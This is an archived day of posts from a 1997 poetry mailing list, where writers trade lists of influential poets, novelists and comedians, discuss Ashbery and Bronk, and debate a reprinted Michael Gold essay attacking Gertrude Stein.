>teachers' unions all represent academics when it comes to issues such as
>tenure, class schedules, and grievances in the workplace. But they are
>largely unknowledgeable about the publishing world. Academic writers who
>have grievances with their publishers can turn to the NWU, where Grievance
>Officers have won members over a million dollars in grievance awards. In
>addition, the newly created Publishers' Rights Clearinghouse is helping
>writers earn their rightful royalties for articles and poems that appear
>first in print and then are reprinted without permission of their authors."
>
> Representatives of SEM-NWU will be meeting with academics at the four
>universities in coming weeks to listen to their concerns and begin laying
>the groundwork for the study.
>
> The National Writers Union was formed in 1981 to represent freelance
>writers in all genres, including fiction, poetry, academic writing,
>technical writing, screen writing, and journalism. The NWU was chartered in

>1983, affiliated with the UAW in 1992, and now has almost 5,000 members.
>
> For interviews or more information, please call Ken Wachsberger at
>[redacted] or Amy Rose at [redacted].
>
>
>
>
John Feffer
National Writers Union
Philadelphia Local
519 S. Melville St.
Philadelphia, PA 19143
[redacted]
[redacted]
http://www.libertynet.org/~nwuphil

------End forward message----------

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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489. **rsillima**
Influences
Wed 16 Jul 1997

Poets who drive me to write:

Bill Corbett
Jimmy Schuyler
Rae Armantrout
Bob Perelman
Lyn Hejinian
David Bromige
Charles Bernstein

I've been reading Corbett's Selected for the past several weeks and it's a wonderful, amazing book. Why haven't they named the English Dept at Harvard after the man?

In a completely different vein, I go back to my parents, Whalen, Duncan, Olson, Spicer, Ginsberg, Creeley, Eigner, Blackburn and to my grandparents, Ez, Gertrude, Louis, and William Carlos....

Comics:
Lenny Bruce (only entertainer that both my mother and I paid to see, tho at different times). I can still do most of Father Flotski's Triumph by memory.
Lord Buckley
Andy Kaufman
George Bowering

Novelists:
Sterne
Pynchon
Joyce
My twins and I are reading Finnegans Wake at the moment. It's the perfect book for five year old boys, all puzzle.
Faulkner (esp. the real stuff, not the recycled versions a la Alice Walker)
Hemingway (again, prefer the original to The English Patient)
Beckett (again, prefer the original to Carole Maso's Ava)
Langston Hughes
Michael Gold's Jews without Money
Philip K Dick, Bruce Sterling, Chip Delaney

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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490. David Israel
Re: influential writers
Wed 16 Jul 1997

Dan Raphael Dlugonski remarks:

<< i find this whole discussion kind of strange because the concept of, looking for inspiration when you need to write. i either create or i dont. if i have to force it out i dont think its worth doing (poetry that is. other writing deadlines like reviews are another method). yes, i like a lot of writers, but as for going to my book shelf so i can write a poem, that seems an alien concept, forcing inspiration. >>

Actually, I think that many of us were describing a relationship between reading & writing a bit more loosely than that of repairing to books for the "purpose" of "causing" ourselves to be "interested" or "inspired" in writing ourselves. For exaample, when I said that I had written some things in the wake of reading Ashbery (et al.), this is an after-the-fact observation -- i.e., that while in the act of reading his words, I found (willy-nilly!) myself inclined to write -- and the impulse / impetus to write happened to be of sufficient strength that I actually dragged the pen across the page.

I.e., the question can sound like "where do you turn, when you want to cause yourself to feel like writing?" -- but I think many of us translated this into "under what circumstances [of having read things] have you retrospectively noted that you have felt more inclined to write something [presumably under the "influence" of the thing(s) you were reading]?"

d.i.

↑ Index

491. Layne Russell
Re: Inspiration
Wed 16 Jul 1997

Carl Lynden Peters wrote:
>
> >
> > Who's your favourite diplomat?
> >
> > George Bowering.
>
> a professor at SFU! jery zaslove! he is also my guiding light.

I remember him! I was at SFU in 69-70 studying dance (after English/poetry degree in CA). I didn't have classes from him but was close to someone who did...and they became friends. small world....

Layne (an ex-Vancouverite)

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

492. Susan Wheeler
Re: POETICS Digest - 14 Jul 1997 to 15 Jul 1997
Wed 16 Jul 1997

Walt Kelly, yes! A book of Pogo songs of my dad's was the object I coveted most as a kid. Sitcoms rather than individual comedians do it for me, especially one about a British health club occasionally aired here called The Brittas Empire. As for novelists:

Thomas Mann
Tomasso Landolfi
Thomas Pynchon
Willa Cather
Stanley Elkin
J. Goethe
Ayi Kwei Armah
Nathaniel West

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

493. Michael Magee
Re: influential writers/fiction/comedians
Wed 16 Jul 1997

From Maria & Steven:
">> > >What comedians do people find inspiring?
>
>None, now."

You should, if they ever run them anymore, check out the few episodes of a program called "The State" which ran alternately on Comedy Central and MTV over the last couple years - some of it is brilliant sketch comedy, the first to truly move beyond both Monty Python & SNL in its conceptions - my personal favorite: an idiotic piece called "Froggy Jamboree," where to members come on screen and tell the story about how the rest of the ensemble wouldn't let them air their sketch idea during the show but were gracious enough to let them play it over the credits, at which point the scene cuts to the two of them in full body frog suits splashing spasmodically in a kiddy pool while playing banjos: that's it.

↑ Index

494. Rachel Loden

Re: Influences

Wed 16 Jul 1997

Ron Silliman cites:

> *Michael Gold's Jews without Money*

a book I might have mentioned myself. Last week, though--speaking of writing that amuses us--I stumbled on something else by Michael Gold which I first thought to pass on to you-all, as a curiosity, then thought not (since opinions expressed are not necessarily, as they say, those of your correspondent, and who knows, in this pixel-bath, whether people can keep things straight). But in light of this mention. . . why the hell not. (An interesting sidebar might be the recent _Slate_ piece on Stein's finances and Republicanism.)

Love to hear takes on this, from any angle--Ron?

Rachel

"Gertrude Stein: A Literary Idiot"

by Michael Gold

first published in _The New Masses_

Gertrude Stein recently returned to America after an absence of many years. In Paris, where she lived as a forbidding priestess of a strange literary cult, Gertrude Stein accumulated a salon frequented by some of the outstanding names of the modern art world and acquired the reputation of a literary freak. People either gaped at her published writings, or laughed at her incomprehensible literary epigrams- "a rose is a rose is a rose."

She was looked upon by those who believed in her as the greatest revolutionist in the history of contemporary literature, and by those who scoffed as the perpetrator of a gigantic literary hoax.

As it happens, neither of the two opinions is wholly correct. Her "revolution" resembles a literary putsch, and if her writing is "a hoax" nevertheless she earnestly believes in it.

In essence, what Gertrude Stein's work represents is an example of the most extreme subjectivism of the contemporary bourgeois artist, and a reflection of the ideological anarchy into which the whole of bourgeois literature has fallen.

What was it that Gertrude Stein set out to do with literature? When one reads her work it appears to resemble the monotonous gibberings of paranoiacs in the private wards of asylums. It appears to be a deliberate irrationality, a deliberate infantilism. However, the woman's not insane, but possessed of a strong, clear, shrewd mind. She was an excellent medical student, a brilliant psychologist, and in her more "popular" writings one sees evidence of wit and some wisdom.

And yet her works read like the literature of the students of padded cells in Matteawan.

Example: "I see the moon and the moon sees me. God bless the moon and
God bless me and this you see remember me. In this
way one fifth of the bananas were bought."

The above is supposed to be a description of how Gertrude Stein feels when she sees Matisse, the French modernist painter. It doesn't make sense. But this is precisely what it is supposed to do- not "make sense" in the normal meaning of the term.

.. The generation of artists of which Gertrude Stein is the most erratic figure arduously set out not to "make sense" in their literature. They believed that the instincts of man were superior to the reasonings of the rational mind. They believed in intuition as a higher form of learning and knowledge. Therefore, many of them wrote only about what they dreamed, dream literature. Others practised a kind of "automatic writing" where they would sit for hours scribbling the random, subconscious itchings of their souls. They abandoned themselves to the mystic irrationalities of their spirits in order to create works of art which would be expressions of the timeless soul of man, etc. The result unfortunately revealed their souls as astonishingly childish or imbecile.

The literary insanity of Gertrude Stein is a deliberate insanity which arises out of a false conception of the nature of art and of the function of language.

A leisure class, which exists on the labor of others, which has no function to perform in society except the clipping of investment coupons, develops ills and neuroses. It suffers perpetually from boredom. Their life is stale to them. Tasteless, inane, because it has no meaning. They seek new sensations, new adventures constantly in order to give themselves feelings.

The same process took place with the artists of the leisure class. Literature also bored them. They tried to suck out of it new sensations, new adventures.

They destroyed the common use of language. Normal ways of using words bored them. They wished to use words in a new, sensational fashion. They twisted grammar, syntax. They went in for primitive emotions, primitive art. Blood, violent death, dope dreams, soul-writhings, became the themes of their works.

In Gertrude Stein, art became a personal pleasure, a private hobby, a vice. She did not care to communicate because essentially there was nothing to communicate. She had no responsibility except to her own inordinate cravings. She became the priestess of a cult with strange literary rites, with mystical secrets.

In this light, one can see that to Gertrude Stein and to the other artists like her, art exists in the vacuum of a private income. In order to pursue the kind of art, in order to be the kind of artist Gertrude Stein is, it is necessary to live in that kind of society which will permit one to have a private income from wealthy parents or sound investments. With this as a basis, you can write as you please. You can destroy language, mutilate grammar, rave or rant in the name of the higher knowledge. Nobody will disturb you. And in time perhaps you can impress or intimidate a certain number of critics and win a kind of reputation.

Gertrude Stein has won the reputation. She returns home to America after an absence of thirty-one years to find herself an object of curious respect by book clubs and lecture societies, and front page news for the newspapers.

Which seems to me to be proof that with enough money and enough persistence a madman can convince a world of his sanity.
Gertrude Stein appears to have convinced America that she is a genius.

But Marxists refuse to be impressed with her own opinion of herself. They see in the work of Gertrude Stein extreme symptoms of the decay of capitalist culture. They view her work as the complete attempt to annihilate all relations between the artist and the society in which he lives.

They see in her work the same kind of orgy and spiritual abandon that marks the life of the whole leisure class.

What else does her work resemble more than the midnight revels of a stockbroker throwing a pent-house party for a few intimate friends? Would it be possible to have either of these symptoms of degeneration except in a society divided into classes? Is there not an "idle art" just as there is an "idle rich"? Both do nothing but cultivate the insanity of their own desires, both cultivate strange indulgences. The literary idiocy of Gertrude Stein only reflects the madness of the whole system of capitalist values. It is part of the signs of doom that are written largely everywhere on the walls of bourgeois society.

↑ Index

495. **Mark Prejsnar**
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Wed 16 Jul 1997

Not really..

My post was about people accepted by the mainstream.
Only Graham fits here (and that cd. be argued several diff ways..

Mark P.

On Tue, 15 Jul 1997, James Finnegan wrote:

> *In a message dated 97-07-11 21:10:30 EDT, you write:*
>
> *<< Are we living in the same universe??*
>
> *Plenty of people have been influenced by Ashbery, but except for Ann Lauterbach (and >>*
>
> *Cole Swenson*
> *Donald Revell*
> *Marilyn Hacker*
> *Amy Gerstler*
> *Forrest Gander*
> *& of course Jorie Graham*
>
> *come to mind without running to my bookcase.*
> *Also, there have been many reported sightings*
> *outside of Roswell of grad writing students*
> *carrying a dogeared Ashbery tucked under*
> *one arm.*
>
> *Finnegan*

↑ Index

496. **Mark Prejsnar**
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Wed 16 Jul 1997

Again--
as the poster of the "ashbery influence" post everyone is responding to--
(I think)....

..everyone's cutting off the only part in my post that allows it to make any sense: I was questioning the implication someone'd made that JA was influential on *mainstream* writing practices.

Bronk like all the others mentioned by sundry, is still a *bit* outside the major rewards and kudos the academic mainstream confers, to be a counter-example to what I was saying...I think

On Tue, 15 Jul 1997, Gwyn McVay wrote:

> *& William Bronk too. Actually, from the Susan Schultz-edited book /The Tribe of John/, it would seem there are rather droves of Ashbery influencees.*
>
> *Gwyn,*
> *hoping no one is on a "hate Ashbery" trip: that's so retro*

↑ Index

497. Maria Damon
Re: Inspiration
Wed 16 Jul 1997

At 12:23 AM -0700 7/16/97, George Bowering wrote:
>Who's your favourite diplomat?

sun ra --md
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]

↑ Index

498. Rachel Loden
tummlers
Wed 16 Jul 1997

George Bowering wrote:
>
> >>What comedians do people find inspiring?
>
> William Clinton
>
> Bob Dole

When my daughter was about eight, she confided in me, somewhat shyly, that for years she had thought Richard Nixon was a comedian, because "whenever he came on TV, everyone laughed."

Any list of people who have deeply amused me would have to include: Jessica Mitford (esp. in _Daughters and Rebels_ and in person, talking about the funeral industry); J. Edgar Hoover (esp. in drag); Mel Brooks (esp. "The Producers"); Rip Torn (on Larry Sanders); Kafka; Woody Allen as Kafka in _Without Feathers_ (not the movies though); early live Steve Martin; Richard Pryor live and at the top of his form; Walt Kelly; Madeline Kahn (esp. as Lili von Shtupp); Monty Python (chapel scene in "The Meaning of Life": "Forgive us, O Lord, for this our dreadful toadying. And barefaced flattery. But you are so strong and, well, just so super"); Stephen Fry and Hugh Laurie; Mike Myers as Dieter, host of "Sprockets"; Dan Aykroyd as Bob Dole; George Bowering as dominatrix; David Bromige as God; Jane Curtin as Pat Nixon. . .

Rachel L.

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499. Douglas
New S&M books
Wed 16 Jul 1997

Sun & Moon Press once again has several new
titles just published, which we are willing to
offer members of the Poetics List for a 20%
discount.

DRA-- by Stacey Levine.

Levine won the PEN-West Award for fiction for
her first book, the 1993 collection of stories,
MY HORSE AND OTHER STORIES. She's a young and
very talented writer, living in Seattle, but soon

be teaching at Illinois State University in Normal next year (she's a temporary replacement for David Foster Wallace). This new work, her first longer fiction, is an incredible dystopia, in which the title character inhabits a drab and reary world of utter dread. Through a Kafka-like lens Levine explores how the meek and sane are made mad in a society that demands choices that only lead to less and less individual choice and control. Paperback $11.95.

EVERYTHING THAT RISES MUST CONVERGE, by John Jesurun

Influenced by Hitchock, Gertrude Stein, The Wooster Group, and Richard Foreman, John Jesurun began to produce his own theatrical pieces in the early 1980s His legendary, fifty-episode theater piece, CHANG IN A VOID MOON, began performances in 1982-1983 as 36 half-hour installments. CHANG was followed by other pieces, DOG'S EYE VIEW at La Mama, and NUMBER MINUS ONE at the Performing Garage, as well as several others.

EVERYTHING THAT RISES MUST CONVERGE was first performed at the Walker Arts Center in minneapolis and then at the Kitchen in New York, and his one of his major theater pieces.

Jesurun was awarded a MacArthur grant in 1996 for his dramatic writings. Paperback $11.95

THE CAPTAIN OF THE BUTTERFLIES, by Cees Nooteboom

Nooteboom is currently one of the major fiction writers and poets in Europe, and has been suggested several times for a Nobel Prize. His fictions, published by Harcourt, Brace, have received great attention in the US. And he recently published a personal travel book about Spain to great review attention

THE CAPTAIN OF THE BUTTERFLIES is the first publication in English of a large selection of his poetry. The result is a wonderful writing of enery and wit, in which surrealist-like images are presented in dialogue in precise, realistic language. Paperback $11.95

THE LIBRARY OF THOMAS RIVKA, by Martin Nakell

Well known in the Los Angeles poetry scene, Martin Nakell has toured the US several times, and is now touring Europe.

THE LIBRARY OF THOMAS RIVKA is a short fiction exploring various ideas, philosophical and pratical, about an entire library of books--how to classify them, how to order them, their bindings, their markings, and what their being within the same library means, how they "communicate" with one another. Suggesting other such fictions by figures from JK Huysmans to Jorge Luis Borges, this book is an absurdly humorous work. Paperback $11.95

THE BOOK OF WHO ARE WAS, by Benjamin Hollander

San Francisco poet Bejamin Holland negotiates a past and present with poets such as Paul Celan, Edmond Jabes, and Anne-Marie Albiach in the projection of "memory on stage." Recognizing poetry as a theatrical field, a performance so to speak, THE BOOK OF WHO ARE WAS contemplates the process of poetic creation in which it is actually the reader's or spectator's memory that is projected upon the stage or text. A must for anyone interested in contemporary poetry. Paperback $10.95

Order through my E-mail [redacted]
or from Sun & Moon Press, 6026 Wilshire Boulevard
Los Angeles, CA 90036

If you would like a special summer sale catalogue,
please also E-mail us.

Douglas Messerli

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500. **dbkk**
Re: tummlers
Wed 16 Jul 1997

Hi everyone, it's Kevin Killian. Still reeling from the assassination of Gianni Versace and now the newscasters are saying it might be Andrew Cunanan who killed him.

Anyway yesterday I was reading "USA Today" and saw the article about the UK poet Murray Lachlan Young with the "face of Daniel Day Lewis" and the "hair of Jim Morrison" and how his various poetic contracts amount to $2,000,000.00 (translated to US money). Is anyone on the Poetics List familiar with this man's work? Please fill me in.

Also was drawn to USA Today's coverage of the new memoir by Erik Estrada, "My Road from Harlem to Hollywood." I guess in the book Erik Estrada is kind of tough on his former partner on "CHiPs," Larry Wilcox. "Asked about Erik Estrada's recollections of their 'CHiPs' days in "My Road from Harlem to Hollywood," former castmate Larry Wilcox, now head of a TV production company and a software company called MediaCore, replied via electronic mail. Here is an excerpt:

"To respond to Erik's perceptions would be a litany of material on philosophy and morals combined with what Jacques Derrida refers to as the malady of subjective perception." Only those perhaps who ever saw an episode of "CHiPs" will understand my shock, the way my eyes bugged out of my head while reading this. And it goes on and on.

I've been out of touch with the Poetics List lately and in an awful slump but did want to second Bennett Simpson's recommendation of Dennis Cooper's new novel "Guide" which I enjoyed no end. Actually Bennett Simpson feels less enthusiastic about this book than I do: "I started it this week and it's not inspiring, not titillllllllating, obliquely critical, kinda nauseating and very far from my reality (does this make me a stump?). The dustjacket is calling him the new Genet. Well, huh. The characters are boring (but maybe not as much as they're supposed to be). I do like some of the stylistic tics however. Flatness going places." Some other books I have liked lately are biographies, Helen Sheehy's book on Eva Le Gallienne, Margot Peters' life of May Sarton, John Felstiner's "Paul Celan: Poet, Survivor, Jew," and Hertzel Weinstat & Bert Wechsler's book "Dear Rogue," the life of the US baritone Lawrence Tibbett. (Although it has a dreadful opening line: "Most of us, when our course is run, deserve the anonymity of the grave. Not so Lawrence Tibbett . . .") Jackson Benson's life of Wallace Stegner is horrible. One other book I read at Naropa was Mary Butts' novel "Armed with Madness." This one I give 5 stars. I meant to post here my diary of what it was like to spend a week at Naropa but every sentence I wrote sounded just like Mary Butts. So there's influence for you! Or, maybe, the "malady of subjective perception."

Thanks, everyone.

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501. James Finnegan
Re: Bronk v. Ashbery
Wed 16 Jul 1997

The yoking of Bronk to Ashbery I find odd. I think their sensibilities are worlds apart. First there is the simple matter of length. Bronk’s poems are shorter, quirky & pithy. Ashbery's longwinded, multi-layered, digressive. Bronk has an

oblique and perverse approach to his subject; often his work seems to be an argument with the world. (I'm reminded here of a recorded interview in which I don't think Bronk agreed with a single assertion the interviewer made about his poetry.) The Ashbery poem is often evasive, opaque--the poem is much less an explanation than an desultory exploration. Anyway, these are just a few of my random musings on their poetries.

Finnegan

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502. **GrahamD**
Re: influential writers
Wed 16 Jul 1997

Hugh Steinberg writes "I literally devour texts."

Is this that Performance Art I've heard so much about?

David Graham
[redacted]

↑ Index

503. **Douglas Barbour**
Re: influences in prose & comedy?
Wed 16 Jul 1997

George: that's unfair. Canucks have their comedians too: still alive (we think): Lucien Bouchard, Jean Chretien, Mike Harris, Preston Manning (who sat at the feet of another great comedian in the US [I realize this list really confuses most of the poetics readers] -- then House Majority leader, oops, but I cant think of his name only his appearance as a small bomb in doonesbury), my own provincial premier Ralph Klein, GB's own provincial premier, Glenn Clark.

Prose writers: Oh I'm so happy kali tal mentioned delany, russ, & such like, as I have a whole bunch of sf writers I'd mention: a few include those two, Ursula K Le Guin, Brian Aldiss, Iain M Banks, Alfred Bester, John Crowley, Gwyneth Jones, & many others, but not all as 'influences,' since some are fairly recent discoveries; rather, as with George again, that I read them for pleasure.

I have certainly been indebted on some level or other to many of those already named, but again the canuck connection comes to bear: gosh, George Bowering is there; Leonard Cohen, Timothy Findlay, Robert Kroetsch, Daphne Marlatt, bpNichol (for everything), Michael Ondaatje, Audrey Thomas, + the famous ones. Just for beginners.

Guy Davenport as both critic & fiction writer ever since i first discovered him.

This is an impossible question, of course. What do we mean 'influenced'? I pick the hearts & brains of every new interesting text I read.... Dont you?

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

katherine.

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506. Jordan Davis
Re: influential writers
Wed 16 Jul 1997

Is this a reference to Mark Strand's hideous poem, "Eating Poetry"?

Jordan

On Wed, 16 Jul 1997, GrahamD wrote:

> *Hugh Steinberg writes "I literally devour texts."*
>
> *Is this that Performance Art I've heard so much about?*
>
> *David Graham*
> [redacted]
>
> ---

↑ Index

507. David R. Israel
Re: influential writers / the Strand strand
Wed 16 Jul 1997

> *Hugh Steinberg writes "I literally devour texts."*
>
> *Is this that Performance Art I've heard so much about?*
>
> *Is this a reference to Mark Strand's hideous poem, "Eating Poetry"?*
>
> *Jordan [Davis]*

I remember it -- ink oozing out of mouth of the poetry-eater . . .

a bit macabre, you're saying? (too gothic? cannibalistic?)

memorable, anyhoo

d.i.

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508. **Matthias Regan**

Re: influential writers/fiction/comedians

Wed 16 Jul 1997

What comedians do people find inspiring?What comedians do people find inspiring?What comedians do people find inspiring?What comedians do people find inspiring?What comedian s do people find inspiring?What c omedians d o p e op le find inspir ing?What comedia ns do pe ople find insp ir ing?

I all honesty & innocence I protest: Inspiration is one thing--& I don't doubt the urge to take pen in hand might come from a particularly good comedy routine--but do you really find all the comedians mentioned so far *funny*? JESUS!! I mean I like to think I have at least a LIVELY if not KEEN sense of humor, but none of that standup mainstream hollywood culture crap makes me laugh! OKOK I can see Chaplin & Keaton, for the intellectual elegance, but that televised slapshhtk just doesn't come off. And those interminable "sarcastic" gambling-hall clowns--O they tick me off! Standup latenite talkshowhost reactionary crap!

Bob & Ray - yes I remember them from one quiet season on public radio in New Hampshire -- I guess I thought that was sorta funny. And I confess the friendship between Lamont & Sanford can inspire a chuckle. And Carol O'Connor, who, by the by, is quite a Joyce scholar, & friendly, so I've heard, with Richard Ellman...

I worked on a production by the Trinity Players in Dublin, doing "Endgame" & have never laughed so consitently, loudly, at such length, with such spirit, or so honestly in my life, night after night. Guts split. Every *single* line of "Endgame", "Waiting for Godot" and the novels of the Trilogy can get a laugh.

Fictionalists: Cervantes, Sterne, Gogol, Dostoevsky, Poe, Crane, Woolfe, my great granduncle Allan Paton, Cather, O'Connor (Flannery this time), Baldwin, Banks (_Affliction_, _Hamilton Stark_)...

Allegorists: Bunyan, McCarthy (_Suttree_ & before), Antin

When writing poems & I need a break & to spark new words I inevitably turn to: Milton, Rimbaud, Creeley, Walcott, Jordan or Brusenbrugge (spelled from a poor memory)

When writing, I always listen to: McCoy Tyner, particularly "African Village," "The Greeting," "Song for My Lady," "Ebony Queen," "Sahara," "Smitty's Place"...

Often inspired by Werner Herzog's movies. I can't watch any of those without writing about them for days afterward. "Before the Rain" was very inspirational as well; and Cassavettes' (spelled from a poor memory) "Shadows"

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509. Matthias Regan

Re: tummlers

Wed 16 Jul 1997

> "*To respond to Erik's perceptions would be a litany of material on philosophy and morals combined with what Jacques Derrida refers to as the malady of subjective perception.*" *Only those perhaps who ever saw an episode of* "*CHiPs*" *will understand my shock,...*

This bowled me over when--just now--I read it but then I remembered Taussig on the role of the interstate system in "The Magic of the State," and all was explained...

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510. Michael Magee

Stein & Gold

Wed 16 Jul 1997

Thoughts on the Gold piece on Stein: it would be interesting to hear what Gold might say about William James - just another bored capitilist? Probably not b/c Gold seems to have that love historically common in Marxists, the love of science & scientific method, of technology, almost in spite of themselves - Gold shows it in his incredulity toward Stein's past: what? she was a physician, a psychologist, and she's come to this? In fact, Stein, it seems to me, always considered her work highly applicable, highly "pragmatic" in the Jamesian fashion; believed in its ability to influence and stretch the social fabric, which is to say, believed in the connection btwn linguistic and social flexibility. Of course Gold's having none of it:

"But Marxists refuse to be impressed with her own opinion of herself. They see in the work of Gertrude Stein extreme symptoms of the decay of capitalist culture. They view her work as the complete attempt to annihilate all relations between the artist and the society in which he lives."

This is the crossroads at which Jameson sits himself down, right? Except he has to be a good deal more sophisticated than Gold, post post-structuralism, in dealing w/ the function of language-games in culture. Anyway, thanks for posting this, very interesting. -m.

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511. H Gould
Re: influential writers/fiction/comedians
Wed 16 Jul 1997

inspirational writer:

Rod McKuen. I go to his poetry for its deep insight into human emotion.

inspirational fiction:

Ronald Reagan. I invoke his memory whenever I try to remember what's missing in life.

inspirational comedian:

L. Ron Hubbard. The name says it all: it's a logogram in the Saussurian sense.

- Jack Spandrift

p.s. for fiction, the one-paragraph stories in the magazine _paragraph_ (Oat City Press) are about all I can digest these days.

Eric Blarnes met his double once in Benares. He was a minor cleric there.e. It all began one muggy afternoon...on...n...

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512. dbkk
Re: influential writers
Wed 16 Jul 1997

At 1:54 AM -0600 7/16/97, Hugh Steinberg wrote:

> *I approach my bookshelf more as a resource, like a refrigerator, than as means for forcing inspiration (books as ingredients, sure; books as meals or snacks, but of course; as laxatives? feh!). Since I primarily work in collage, I literally devour texts, and so long as the language is interesting I'm not all too picky. I got a lot of poems out of a found text, "German Spies at Bay," a rather jingoistic book from the 1920's extolling the heroism of British counterespionage during WWI. Also, a lot of bad art inspires me, as it makes me question what can be done better.*

See me nodding and nodding in agreement. This week's writing for me: it started with a response to the Jorie Graham article in the New Yorker, trying to examine a close observation of the physical world and the impulse to take that to preciousness, now to undercut the preciousness, then there's AMC's playing of the Johnny Weismuller Tarzan movies which excite me to no end, in particular this week _Tarzan and His Mate_ and _Tarzan Finds a Child_, and then there's this marvelous book I got out of the Naropa library which I just mailed back yesterday: _Autobiography of a Schizophrenic Girl_, one of those books that's so great you want to memorize it.

When Dennis Cooper briefly taught private writing workshops in Los Angeles, one of his students told me that Dennis' workshop was very much about influence and his take on it was to go with what really strikes *you* (be it your favorite rock album, whatever) rather than what is held to be Acceptable influences. This is one area in which Kevin K. has been most influencial on me--the spirit of adventure in which Doris Day is just as valid an influence as Walter Benjamin.

Dodie

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513. **Jordan Davis**
jokey and funny
Wed 16 Jul 1997

Matthias --

I sympathize with your apprehension vis a vis comedians. But I think really very funny comedy (Jarry? at least some of the comics listed here over the past couple days?) is as strong a solvent of one's grimy limits as any poetry -- which is not to propose that poetry isn't allowed to be funny; on the contrary, it seems something like a tenet of the poetry in this list's collective consciousness that _laughter indicates perception_. Of course once you recognize _that_, it's even more of a battle to keep from being _jokey_, which is as far from funny as you can get, though the two are in practice usually undistinguished.

But I think a disdain for "mainstream" humor may safely be assumed here? Jordan

↑ Index

514. **Jordan Davis**
Re: jokey and funny
Wed 16 Jul 1997

I mean indistinguishable, or maybe I mean that the distinction goes unremarked.

Speaking of the New Yorker -- what's with Anthony Lane? Is it a nom de plume of Martin Amis or what?

Are there critics -- NOT theorists -- the readers of the list trust more? Geoffrey O'Brien's essays are always welcome in my book bag.. and I wish Frank Rich would go back to writing about plays -- he's uncomfortable-seeming on the op-ed pages. Can't say enough good things about Neil Strauss.

Just passing the time with this idle gossip,
Jordan

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515. **Carl Lynden Peters**
Re: Inspiration
Wed 16 Jul 1997

> *Who's your favourite diplomat?*
>
> *George Bowering.*

a professor at SFU! jery zaslove! he is also my guiding light.

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516. **Mark Weiss**
Re: influential writers
Wed 16 Jul 1997

> *Actually, I think that many of us were describing a relationship between reading & writing a bit more loosely than that of repairing to books for the "purpose" of "causing" ourselves to be "interested" or "inspired" in writing ourselves. For exaample, when I said that I had written some things in the wake of reading Ashbery (et al.), this is an after-the-fact observation -- i.e., that while in the act of reading his words, I found (willy-nilly!) myself inclined to write -- and the impulse / impetus to write happened to be of sufficient strength that I actually dragged the pen across the page.*
>
> *I.e., the question can sound like "where do you turn, when you want to cause yourself to feel like writing?" -- but I think many of us translated this into "under what circumstances [of having read things] have you retrospectively noted that you have felt more inclined to write something [presumably under the "influence" of the thing(s) you were reading]?"*
>
> *d.i.*

Yup. Often, I think, we write in a sort of oblique dialogue with the poetry, the language, what-have-you, that's already out there. Sometimes Chaucer talks to me, sometimes I talk to him.

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517. **Mark Weiss**
Re: Bronk v. Ashbery
Wed 16 Jul 1997

And of course Bronk established his manner before heuis likely to have read Ashbery. Although the latter is all the rage in Hudson's Falls.

At 10:31 AM 7/16/97 -0400, you wrote:
>The yoking of Bronk to Ashbery I find odd. I think their
>sensibilities are worlds apart. First there is the simple matter
>of length. Bronk's poems are shorter, quirky & pithy.
>Ashbery's longwinded, multi-layered, digressive. Bronk has an
>oblique and perverse approach to his subject; often his work
>seems to be an argument with the world. (I'm reminded here
>of a recorded interview in which I don't think Bronk agreed
>with a single assertion the interviewer made about his poetry.)
>The Ashbery poem is often evasive, opaque--the poem is much
>less an explanation than an desultory exploration. Anyway,
>these are just a few of my random musings on their poetries.
>
>Finnegan
>
>

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518. **william marsh**
Re: influential writers/fiction/comedians/poet-comedians
Wed 16 Jul 1997

> *What poets do poets think would make excellent comedians?*

Robert Penn Warren

↑ Index

519. **Robert Hale**
WATTEN
Wed 16 Jul 1997

Could someone please backchannel me the Detroit address and phone of Barrett Watten? (E-mail too if you have it.)

Many thanks.

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520. David Israel
Re: influential writers/fiction/comedians/poet-comedians
Wed 16 Jul 1997

> *What poets do poets think would make excellent comedians?*

well there's turning the question around a bit

possibly James Tate (in an exceedingly deadpan manner)?

likely Rod Smith (under some circumstances) . . .

there's just two, but the possibilities are large

d.i.

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521. groberts
novelists and comics
Wed 16 Jul 1997

Dickens, Conrad, and Beckett usually divert me to write poetry. The great variety of their sentence-shapes and their impeccable timing can get me going for a piece of scrap paper and something to write with. I wish Stein's prose would do same. Sometimes Joyce does.

As for the comics, I'm afraid that I was a sucker for the brilliant marketing idea of the Marvel Universe elaborated by Jack Kirby, Stan Lee, and their descendents in the superhero genre, like John Byrne. Tie-ins, cameos, cross-overs, origin stories, serial plots, operatic mythology, graphical and typographical stylistics: it all kept me buying, collecting, assembling the ephemera into my own hand-picked coherence. It later sent me looking to George Herriman, Walt Kelly, and Winsor McCay in reproduction, which set me wondering in earnest about the difference between a comic strip and a comic book. My most intense experience of language as a kid during the 1970s was provided by the lay-out of words in the boxes, polygons, and ellipses of comics. No wonder pomo seems so strangely familiar. Buy on!

Gary R

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522. Maria Damon
Re: jokey and funny
Wed 16 Jul 1997

At 1:39 PM -0400 7/16/97, Jordan Davis wrote:
...

>
>But I think a disdain for "mainstream" humor may safely be assumed here?
>Jordan

what's mainstream humor?

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523. **Gwyn McVay**
Grolier Bookstore Emergency (fwd)
Wed 16 Jul 1997

You may have heard this before: the situation is still pretty dire, however, and I'm forwarding this on behalf of "Friends of the Grolier"; purely on principle, I hate to see any independent close--especially after losing several fine ones in New York. I'm sure other suggestions would be welcomed.

